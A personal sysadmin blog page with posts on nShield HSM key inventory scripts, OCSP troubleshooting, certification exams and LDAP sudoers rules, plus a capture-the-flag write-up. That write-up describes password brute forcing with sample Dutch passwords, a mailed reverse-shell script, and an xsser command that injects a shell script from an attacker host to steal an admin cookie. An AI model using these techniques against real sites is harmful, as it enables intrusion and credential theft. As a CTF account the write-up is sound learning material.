Kilala.nl - Personal website of Thomas Sluyter

Unimportant background
Login
  RSS feed

About me

Blog archives

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

> Weblog

> Sysadmin articles

> Maths teaching

Inventory of certificates, private keys and nShield HSM kmdata files

2018-05-22 18:54:00

Building on my previous Thales nShield HSM blog post, here's a nice improvement.

If you make an array with (FQDN) hostnames of HSM-clients you can run the following Powershell script on your RFS-box to traverse all HSM-systems so you can cross-reference their certs to the kmdata files in your nShield RFS.

$Hosts="host1","host2","host3"

ForEach ($TargetHost) in $Hosts)

{
               Invoke-Command -ComputerName $TargetHost -ScriptBlock {
                              $Thumbs=Get-ChildItem cert:LocalMachineMy
                             ForEach ($TP in $Thumbs.thumbprint) {
                                             $BLOB=(certutil -store My $TP);
                                             $HOSTNAME=(hostname);
                                             $SUBJ=($BLOB | Select-String "Subject:").ToString().Replace("Subject: ","");
                                             $CONT=($BLOB | Select-String "Key Container =").ToString().Replace("Key Container = ","").Replace(" ","");
                                             Write-Output "$HOSTNAME $TP ""$SUBJ"" ""$CONT""";
                             }
              }

 
$KeyFiles = Get-ChildItem 'C:ProgramData CipherKey Management DataLocalkey_caping*'
ForEach ($KMData in $KeyFiles) {
               $CONT=(kmfile-dump -p $KMData | Select -First 7 | Select -Last 1)
               Write-Output "$KMData $CONT";
}

 

For example, output for the previous example would be:

TESTBOX F34F7A37C39255FA7E007AE68C1FE3BD92603A0D "CN=testbox, C=thomas, C=NL" "ThomasTest"

C:ProgramData CipherKey Management DataLocalkey_caping_machine--a45b47a3cee75df2fe462521313eebe9ef5ab4                    ThomasTest

 

The first line is for host TESTBOX and it shows the certificate for the testbox certificate, with a link to the ThomasTest container. The second line shows the specific kmdata file that is tied to the ThomasTest container. Nice :)


kilala.nl tags: , , ,

View or add comments (curr. 0)

Matching Windows certificates to nShield protected keys (kmdata)

2018-05-22 18:39:00

Over the past few weeks I've had a nagging question: Windows certutil / certlm.msc has an overview of the active certificates and key pairs for a computer system, but when your keys are protected by an Thales nShield HSM you can't get to the private keys. Fair enough. But then there's the %NFAST_KMDATA% directory on the nShield RFS-server, whose local subdirectory contains all of the private keys that are protected by the HSM. And I do mean all the key materials. And those files are not marked in easy to identify ways. 

So my question? Which of the files on the %NFAST_KMDATA%/local ties to which certificate on which HSM-client?

I've finally figured it all out :) Let's go to Powershell!

 

PS C:Windowssystem32> cd cert:LocalMachineMy

PS Cert:LocalMachineMy> dir
   Directory: Microsoft.PowerShell.SecurityCertificate::LocalMachineMy

Thumbprint                                Subject
----------                                -------
F34F7A37C39255FA7E007AE68C1FE3BD92603A0D  CN=testbox, C=thomas, C=NL
...

 

So! After moving into the "Personal" keystore for the local system you can see all certs by simply running dir. This will show you both the thumbprint and the Subject of the cert in question. Using the Powershell Format-List command will show you the interesting meta-info (the example below has many lines remove).

 

PS Cert:LocalMachineMy> dir F34F7A37C39255FA7E007AE68C1FE3BD92603A0D | fl *
...
DnsNameList              : {testbox}
...
HasPrivateKey            : True
PrivateKey               :
PublicKey                : System.Security.Cryptography.X509Certificates.PublicKey
SerialNumber             : 6FE2C038ED73E7A0469E5E3641BD3690
Subject                  : CN=testbox, C=thomas, C=NL

 

Cool! Now, the two bold-printed, underlined lines are interesting, because the system tells you that it does have access to the relevant private key, but it does not have clear informatin as to where this key lives. We can turn to the certutil tool to find the important piece to the puzzle: the key container name

 

PS Cert:LocalMachineMy> certutil -store My F34F7A37C39255FA7E007AE68C1FE3BD92603A0D
...
Serial Number: 6fe2c038ed73e7a0469e5e3641bd3690
Subject: CN=testbox, C=thomas, C=NL
 Key Container = ThomasTest
 Provider = nCipher Security World Key Storage Provider
Private key is NOT exportable
... 

Again, the interesting stuff is bold and underlined. This shows that the private key is accessible through the Key Storage Provider (KSP) "nCipher Security World KSP" and that the relevant container is named "ThomasTest". This name is confirmed by the nShield command to list your keys:

 

PS Cert:LocalMachineMy> cnglist --list-keys
ThomasTest: RSA machine
...

 

Now comes the tricky part: the key management data files (kmdata) don't have a filename tying them to the container names:

 

PS Cert:LocalMachineMy> cd 'C:programdata CipherKey Management DataLocal'

PS C:programdata CipherKey Management DataLocal> dir
...
-a---        27-12-2017     14:03       5336 key_caping_machine--...
-a---        27-12-2017     14:03       5336 key_caping_machine--...
-a---        27-12-2017     11:46       5336 key_caping_machine--...
-a---         15-5-2018     13:37       5188 key_caping_machine--a45b47a3cee75df2fe462521313eebb1e9ef5ab4...

 

So, let's try an old-fashioned grep shall we? :)

 

PS C:programdata CipherKey Management DataLocal> Select-String thomastest *caping_*
key_caping_machine--a45b47a3cee75df2fe462521313eebb1e9ef5ab4:2:   ThomasTest  ?   ∂   Vu ?{?%f?&??)?U;?m???   ??  ??  ??  1???B'?????'@??I?MK?+9$KdMt??})???7?em??pm?? ?

 

This suggests that we could inspect the kmdata files and find out their key container name. 

 

PS C:programdata CipherKey Management DataLocal> kmfile-dump -p key_caping_machine--a45b47a3cee75df2fe462521313eebe9ef5ab4
key_caping_machine--a45b47a3cee75df2fe462521313eebb1e9ef5ab4
 AppName
       caping
 Ident
       machine--a45b47a3cee75df2fe462521313eebb1e9ef5ab4
 Name
       ThomasTest
...

SHAZAM! 

Of course we can also inspect all the key management data files in one go:

 

PS: C:> $Files = Get-ChildItem 'C:ProgramData CipherKey Management DataLocalkey_caping*'

PS: C:> ForEach ($KMData in $Files) {kmfile-dump -p $KMData | Select -First 7)
C:ProgramData CipherKey Management DataLocalkey_caping_machine--a45b47a3cee75df2fe462521313eebe9ef5ab4
 AppName
       caping
 Ident
       machine--a45b47a3cee75df2fe462521313eebb1e9ef5ab4
 Name
       ThomasTest

 


kilala.nl tags: , ,

View or add comments (curr. 0)

Microsoft OCSP Responders, nShield HSMs and vagueries

2018-05-17 20:18:00

Over the past few months I've built a few PKI environments, all based on Microsoft's ADCS. One of the services I've rolled out is the Microsoft OCSP Responder Array: a group of servers working together to provide OCSP responses across your network. 

I've run into some weirdness with the OCSP Responders, when working with the Thales / nCipher nShield HSMs. For example, the array would consist of a handful of slaves and one master server. Everything'd be running just fine for a week or so, until it's time to refresh the OCSP signing certificates. Then, one out of the array starts misbehaving! All the other nodes are fine, but one of'm just stops serving responses. 

The Windows Event Log contains error codes involving “CRYPT_E_NO_PROVIDER”, “NCCNG_NCryptCreatePersistedKey existing lock file” and "The Online Responder Service could not locatie a signing certificate for configuration XXXX. (Cannot find the original signer)". Now that second one is a big hint!

I haven't found out why yet, but the problem lies in lock files with the HSM's security world. If you check %NFAST_KMDATA%local you'll find a file with "lock" at the end of its name. Normally when requesting a keypair from the HSM, a temporary lock is created which gets removed once the keypair is provided. But for some reason the transaction doesn't finish and the lock file stays in place.

For now, the temporary solution is to:

  1. Stop the Online Responder Service.
  2. Remove the lock file from %NFAST_KMDATA%local.
  3. Restart the Oniine Responder Service

With that out of the way, here's two other random tidbits :)

In some cases the service may throw out errors like "Online Responder failed to create an enrollment request" in close proximity to "This operation requires an interactive window station". This happens when you did not setup the keys to be module-protected. The service is asking your HSM for its keys and the HSM is in turn asking you to provide a quorum of OCS (operator cards). If you want the Windows services to auto-start at boot time, always set their keys up as "module protected". And don't forget to run both capingwizard64.exe and domesticwizard64.exe to set this as the default as well!

Finally, from this awesome presentation which explains common mistakes when building an AD PKI: using certutil -getreg provides boatloads of useful information! For example, in order for OCSP responses to be properly signed after rolling over your keypairs, you'll need to certutil -setreg caUseDefinedCACertInRequest 1.

(Seriously, Mark Cooper is a PKI wizard!)


kilala.nl tags: , ,

View or add comments (curr. 0)

CompTIA PenTest+ experience

2018-04-16 12:55:00

I've taken the day off, despite things being quite busy at the office, to have a little fun. Specifically, I've just arrived back home after sitting the CompTIA PenTest+ Beta exam. Taking an exam for fun? Absolutely :)

It's no surprise that I first heard about the newly developed exam on Reddit, with the CompTIA team calling for 400 people to take the beta-version of the exam. We're not getting any scores yet, as they'll first tally all the outcomes to determine weaknesses and flaws in questions that may affect scoring negatively. But once the process has completed, if (and that's an IF) you passed you'll gain full accreditation for the cert. All that and a fun day, for just $50? Sign me up :)

Being a non-native english speaker I was given an extension, tackling 110 questions in 220 minutes (instead of 165). That was certainly doable: I got up from my seat with two hours gone. Overall I can say that my impression of the exam is favorable! While one or two specific topics may have stolen the limelight, I can say that my exam covered a diverse array of subjects. The "simulation" questions as they call them were, ehh, okay. They're not what I would call actual simulations, they're more like interactive screens, but I do feel they added something to the experience. 

Yeah! Not bad at all! I would heartily endorse this certification track instead of EC Council's CEH. The latter may have better brand-recognition in EMEA, but CompTIA is still known as a respectable organization. 

So, did I pass? I don't know :) As I said, the subject matter turned out to be very diverse, in a very good way. Thus it also covered things I have zero to very little experience with, while an experienced pen-tester would definitely know. And that's the point: despite passing the OSCP exam last year, I -am- still a newbie pen-tester. So if I fail this exam, then I'll feel that it's a justified failure. 


kilala.nl tags: ,

View or add comments (curr. 2)

Cincero CTF036 - 2018 edition

2018-04-01 13:16:00

The battlegrounds

Image credits go to Cincero, who took photos all day.

Another year, another CTF036! No longer under the Ultimum flag, but this time organised by Cincero / Secured by Design. Same awesome people, different company name. The 2016 and 2017 editions were awesome and this year's party lived up to its fame.

As is tradition, the AM was filled with presentations. I was invited to talk as well, but I didn't have anything presentable ready to go; maybe next year! It was a busy day, and Wesley kicked off with DearBytes' findings about the security of home automation systems. Good talk, which had my colleague Dirk's attention because his home is pretty heavily filled with that stuff ;)

Dick and I would be teaming up under the Unixerius flag. Lunch was sorted pretty quickly, so we set up our systems around 12:30. Between us two we had three laptops, with my burner laptop serving as Google-machine through my mobile data connection (the in-house Internet connection wasn't very fast). The casus was consistent with the last years: a description of the target, an explanation why we were hacking their servers and a few leads to get us started. To sum it up:

First order of business: slurp down anything the DNS would give us (a successful zone transfer showed just the four systems, spread across two ranges) and run some port scans against the front two boxen. Results?

While perusing the website, we found a number of valid email addresses for employees to try on Squirrelmail. After going over my old OSCP notes, Dick put together a userlist and got to work with Hydra in hopes of brute-forcing passwords for their accounts. This is where the basic Kali stuff isn't sufficient: there are no wordlists for Dutch targets :) While rockyou.txt is awesome, it won't contain famous passwords such as Welkom01, Maandag2018, Andijvie18 and so on. It's time to start putting together a set of rules and wordlists for Dutch targets! In the end we got into two mailboxes, which got us another seven cards: 140 points. 

Unfortunately we didn't get any points beyond that, despite trying a lot of avenues!

Open SMB shares: Dirk suspected there was more to the open SMB shares, so he focused on those. Turning to Metasploit and others, he hoped to perform a SMB relay attack using the MSF tooling. Michael later confided that EternalBlue would not work (due to patching), but that the SMB redir was in fact the way to go. Unfortunately Dick couldn't get this one to work; more troubleshooting needed. 

Squirrelmail REXEC: Dick noticed that the Squirrelmail version was susceptible to a remote command execution vulnerability. Unfortunately, after quite a bit of trying he concluded that this particular install had been patched. Darn!

Mailing a script: In his own presentation Michael had stressed the importance of simulating human interaction in a CTF, be it through automation or by using a trainee ;) After the rather hamfisted hints in the Squirrelmail boxes we'd opened, Dick decided to look for a Powershell reverse-shell script and to mail it to the guy waiting for "a script to run". Not one minute before the final bell of the CTF did he get a reverse session! It didn't count for points, but that was a nice find of him. 

SQLi in the site: I ran the excellent SQLMap against all forms and variables that I could find in the site. No inroads found. 

XSS in the site: Michael pointed out that one variable on the site should catch my eye, so I went over it all again. Turns out that hoedan.php?topic= is susceptible to cross-site scripting. This is where I needed to start learning, because I'm still an utter newb at this subject. I expected some analogue of SQLMap to exist for XSS and I wasn't wrong! XSSER is a great tool that automates hunting for XSS vulnerabilities! Case in point:

xsser -u "http://www.pay-deal.nl" -g "/hoedan.php?topic=XSS" --auto --Fr "https://172.18.9.8/shell.js"
...
===========================================
[*] Final Results:
===========================================
- Injections: 558
- Failed: 528
- Sucessfull: 30
- Accur: 5 %

Here's a great presentation by the author of XSSER: XSS for fun and profit.

This could be useful! Which is why I tried a few avenues. Using XSSER, Metasploit and some manual work I determined that the XSS wouldn't allow me to run SQL commands, nor include any PHP. Javascript was the thing that was going to fly. Fair enough. 

Now, that website contained a contact form which can be used to submit your own website for inclusion in the payment network. Sounds like a great way to get a "human" to visit your site. 

Browser_autopwn: At first, I used SEToolkit and MSF to run attacks like browser_autopwn2, inserting my own workstations webserver and the relevant URL into the contact form. I certainly got visits and after some tweaking determined that the user came from one of the workstations and was running FireFox 51. Unfortunately, after trying many different payloads, none of them worked. So no go on pwning the browser on the workstation. 

Grabbing dashboard cookies: Another great article I found helped me get on the way with this one: From reflected XSS to shell. My intention was to have the pay-deal administrator visit their own site (with XSS vuln), so I could grab their cookie in hopes of it having authentication information in there. Basically, like this:

http://www.pay-deal.nl/hoedan.php?topic=Registreren”>

While the attack worked and I did get a cookie barfed onto my Netcat listener, it did not contain any authenticating information for the site:

===========================================
connect to [172.18.9.8] from (UNKNOWN) [172.18.8.10] 55469
GET / HTTP/1.1
Host: 172.18.9.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: nl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
=========================================== 

Turns out I probably did something wrong, because according to Michael's post-CTF talk this was indeed the inroad to be taken: grab the admin's cookie, login to the dashboard, grab more credit cards and abuse the file upload tool for more LFI fun! Similarly, Dick's attempts at the SMB relay should have also given him inroads to attack the box. We were well on our way, after a bunch of hints. So, we're still pretty big newbs :D

It was an awesome day! I wish I had more spare time, so I could continue the PWK/OSCP online labs and so I could play around with HackTheBox and VulnHub.

EDIT: Here's a great SANS article explaining SMB relay in detail.


kilala.nl tags: , ,

View or add comments (curr. 0)

Back in the saddle:CompTIA PenTest+

2018-03-25 20:54:00

It's been a few months since I last took a certification exam: I closed last year with a speed-run of RedHat's EX413, which was a thrill. Since then, I've taken some time off: got into Civ6, read a few books, caught up on a few shows. But as some of my friends will know, it's never too long before I start feeling that itch again... Time to study!

A few weeks back I learned of the new CompTIA PenTest+ certification. They advertised their new cert with a trial run for the first 400 takers. A beta-test of an exam for $50?! I'm game! Sounds like a lot of fun!

Judging by the reactions on TechExams and Reddit, the test is hard to pin down. CompTIA themselves boast "a need for practical experience", while also providing a VERY extensive list of objectives. Seriously, the list is huge. Reports from test-takers are also all over the place: easy drag-and-drop "simulations", large swathes of multiple-choice questions, a very large focus on four of the big names in scripting, "more challenging than I had expected", or "what CEH should have been".

As for me, my test is booked for 16/04. I don't fully know what to expect, but I intend to have fun! In the mean time I'm using the large list of objectives to simply learn more abou the world of pentesting. My OSCP-certification suggests that I at least understand the basics, but to me it's mostly shown me how much I don't know :) 


kilala.nl tags: ,

View or add comments (curr. 0)

PasswordState, Active Directory and Sudo: oh my!

2018-01-10 20:14:00

Recently I've gone over a number of options of connecting a Linux environment in an existing Active Directory domain. I won't go into the customer's specifics, but after considering Winbind, SSSD, old school LDAP and commercial offerings like PBIS we went with the modern-yet-free SSSD-based solution. The upside of this approach is that integration is quick and easy. Not much manual labor needed at all. 

What's even cooler, is that SSSD supports sudoers rulesets by default!

With a few tiny adjustments to your configuration and after loading the relevant schema into AD, you're set to go! Jakub Hrozek wrote instructions a while back; they couldn't be simpler!

So now we have AD-based user logins and Sudo rules! That's pretty neat, because not only is our user management centralized, so is the full administration of Sudo! No need to manage /etc/sudoers and /etc/sudoers.d on all your boxen! Config management tools like Puppet or Ansible might make that easier, but one central repo is even nicer! :D

 


 

Now, I've been working with the PasswordState password management platform for a few weeks and so far I love it. Before getting the logins+Sudo centralized, getting the right privileged accounts on the Linux boxen was a bit of a headache. Well, not anymore! What's even cooler, is that using Sudo+LDAP improves upon a design limitation of PasswordState!

Due to the way their plugins are built, Click Studios say you need -two- privileged accounts to manage Linux passwords (source, chapter 14). One that has Defaults:privuser rootpw in sudoers and one that doesn't. All because of how the root password gets validated with the heartbeat script. With Sudoers residing in LDAP this problem goes away! I quote (from the sudoers.ldap man-page):

It is possible to specify per-entry options that override the global default options. /etc/sudoers only supports default options and limited options associated with user/host/commands/aliases. The syntax is complicated and can be difficult for users to understand. Placing the options directly in the entry is more natural.

Would you look at that! :) That means that, per the current build of PasswordState, the privileged user for Linux account management needs the following three sudoers entries in AD / LDAP. 

CN=pstate-ECHO,OU=sudoers,OU=domain,OU=local:
sudoHost = ALL
sudoCommand = /usr/bin/echo
sudoOption = rootpw
sudoUser = pstate

CN=pstate-PASSWDROOT,OU=sudoers,OU=domain,OU=local:
sudoHost = ALL
sudoCommand = /usr/bin/passwd root
sudoOption = rootpw
sudoOrder = 10
sudoUser = pstate

CN=pstate-PASSWD,OU=sudoers,OU=domain,OU=local:
sudoHost = ALL
sudoCommand = /usr/bin/passwd *
sudoUser = pstate

The "sudo echo" is used to validate the root password (because the rootpw option is applied). I only applied the rootpw option to "sudo passwd root" to maintain compatibility with the default script included with PasswordState


kilala.nl tags: , ,

View or add comments (curr. 0)

EX413: it's been one heck of a ride!

2017-11-01 20:39:00

2017-11-02: Updates can be found at the bottom.

Five weeks ago, I started a big challenge: pass the RedHat EX413 "certificate of excellence" in Linux server hardening. I've spent roughly sixty hours studying and seven more on the exam, but I've made it! As this post's title suggests it's been one heck of a ride!

Unfortunately, that's not just because of the hard work. 

I prepared for the exam by following Sander van Vugt's Linux Security Hardening video training, at SafariBooks Online. Sander's course focuses on both EX413 and LPI-3 303, so there was quite some material which did not apply to my specific exam. No worries, because it's always useful to repeat known information and to learn new things. Alongside Sander's course I spent a lot of time experimenting in my VM test lab and doing more research with Internet resources. Unfortunately I found Sander's course to be lacking content for one or two key areas of EX413. We have discussed the issues I had with his training and he's assured me that my feedback will find its way into a future update. Good to know. 

Taking the exam was similar to my previous RedHat Kiosk experiences. Back in 2013 I was one of the first hundred people to take a Kiosk exam in the Netherlands (still have the keychain lying around somewhere) and the overall experience is still the same. One change: instead of the workstation with cameras mounted everywhere, I had to work with a Lenovo laptop (good screen, but tiny fonts). The proctor via live chat was polite and responded quickly to my questions.

Now... I said I spent seven hours on the exam: I took it twice. 

Friday 27/10 I needed the full four hours and had not fully finished by the time my clock reached 00:00. This was due to two issues: first, Sander's course had missed one topic completely and second, I had a suspicion that one particular task was literally impossible. Leaving for home, I had a feeling that it could be a narrow "pass". A few hours later I received the verdict: 168/300 points, with 210 being the passing grade. A fail.

I was SO angry! With myself of course, because I felt that I'd messed up something horribly! I knew I hadn't done well, but I didn't expect a 56% score. I put all that anger to good use and booked a retake of the exam immediately. That weekend I spent twelve hours boning up on my problem areas and reviewing the rest.

Come Monday, I arrived at the now familiar laptop first thing in the morning. BAM! BAM! BAM! Most of the tasks I was given were hammered out in quick succession, with a few taking some time because of lengthy command runtimes. In the end I had only one task left: the one which I suspected to be impossible. 

I spoke to the proctor twice about this issue. The first time (1.5 hours into the test) I provided full details of the issue and my explanation for why the task is impossible. The proctor took it up with RedHat support and half an hour later the reply was "this is as intended and is a problem for you to solve". Now I cannot provide you with details about the task, so I'll give you an analogy instead. Task: "Here's a filled-out and signed form. And over here you will find the personnel files for a few employees. Using the signature on the form, ascertain which employee signed the form. Then use his/her personal details to set up a new file.". However, when inspecting the form, you find the signature box to be empty. Blank. There is no signature. 

After finishing all other work I spoke to the proctor again, to reiterate my wish for RedHat to step in. The reply was the same: it works as intended and complaints may be sent to certification-team@. Fine. Since I'd finished all other tasks (and rebooted at least six times along the way to ensure all my work was sound), I finished the exam assuming I'd get a passing score anyway. I felt good! I'd had a good day, banged out the exam in respectable time and I had improved upon my previous results a lot!

I took their suggestion and emailed the Cert Team about the impossible question. Both to help them improve their exams and to get a few extra points on my final score.

A few hours later I was livid.

The results were in: 190/300 points: 63%, where 70% is needed for a pass. All my improved work, with only one unfinished task, had apparently only led to 22pts increase?! And somewhere along the way RedHat says I just left >30% of my points lying around?! No fscking way. 

I sent a follow-up to my first email, politely asking RedHat to consider the impossible assignment, but also to give my exam results a review. I sincerely suspect problems with the automated scoring on my test, because for the life of me I cannot imagine where I went so horribly wrong to miss out on 30% of the full score!

This morning, twentyfour hours after my last email to the Cert Team, I get a new email from the RH Exam Results system. My -first- exam was given a passing score of 210/300. No further feedback at all, just the passing score on the first sitting. 

While I'm very happy to have gotten the EX413, this of course leaves me with some unresolved questions. All three have been fired in RedHat's direction; I hope to have some answers by the end of the week. 

 

In closing I'd like to say that, despite my bad experiences, I still value RedHat for what they do. They provide solid products (RHEL, IDM/IPA and their many other tools) and their practical exams are important to a field of work rife with simple multiple-choice questions. This is exactly why my less-than-optimal experience saddens me: it marrs the great things Redhat do!

 

Update 2017-11-02:

This morning I received an email from the Certification Team at RedHat, informing me that my report of the bugged assignment was warranted. They had made an updates to the exam which apparently had not been fully tested, allowing the problem I ran into to make it into the production exams. RedHat will be A) updating the exam to resolve the issue B) reissuing scores for other affected candidates. 


kilala.nl tags: , ,

View or add comments (curr. 6)

Older blog posts